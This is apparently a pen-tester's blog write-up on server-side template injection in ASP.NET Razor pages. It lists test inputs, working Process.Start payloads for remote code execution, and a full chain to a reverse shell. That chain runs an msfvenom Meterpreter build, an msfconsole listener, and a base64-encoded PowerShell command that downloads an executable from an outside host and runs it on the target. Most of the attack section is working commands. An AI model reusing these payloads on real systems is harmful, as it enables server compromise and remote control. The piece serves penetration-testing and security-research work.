While carrying out some vulnerability testing and discovering a flaw in a web form that allowed the following input @(2+2) to yield the number 4 to the customer webpage, a few patterns were tested to validate if RCE could be obtained and what patterns we could get away with without error.

@(2+2) <= Success
@() <= Success
@("{{code}}") <= Success
@ <=Success
@{} <= ERROR!
@{ <= ERRROR!
@({}) <= ERROR!
@({{}}) <= ERROR!

As shown, adding code execution blocks containing curly brackets {} caused an error on each test and the fear was no real chance of exploiting was potentially available.

A search around the web in an attempt to learn from this and investigate what more could be done, the below link from hacktricks was found highlighting a link to a vulnerable razor app that can be used to set up a local lab:


https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#razor-.net

Once the Github source was cloned and built using vs2019, a large number of tests against the vulnerable app on a test Windows 10 system were carried out to try and narrow down a working exploit and after being overly complex it was found that the simplest of commands produced output:

Working with a colleague we quickly narrowed down the code to produce the following RCE command(s) of which any worked regarding testing against the vulnerable app and customer system.

@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@(System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test2.txt"));

Producing the Required output!

Of course, the next step is to take this further and get a full reverse shell which was as simple as the following steps.

Create Meterpreter Shell and setup listener:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=8080 -e x64/xor_dynamic -f exe > /var/www/html/testmet64.exe

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST eth0; set LPORT 8080; set enablestageencoding true; set stageencoder x64/xor_dynamic; exploit"

Create Powershell encoded command:

$command = ' iwr -uri http://192.168.2.111/testmet64.exe -OutFile C:\Windows\Tasks\testmet64.exe; C:\Windows\Tasks\testmet64.exe'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Add Code to the Test VulnerableApp and execute:

@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Catch the Meterpreter shell:

There we have it, a quick and simple way to potentially gain RCE via SSTI in Razor pages.

A Huge thanks to Expl0itabl3 for working with me on this it was a quick test but a ton of fun!
Clement Notin for first discovering this vulnerability, plus providing a simple to use web app to quickly set up a POC against and finally to Hacktricks for continuing to provide great resources to pen-testers and security researchers.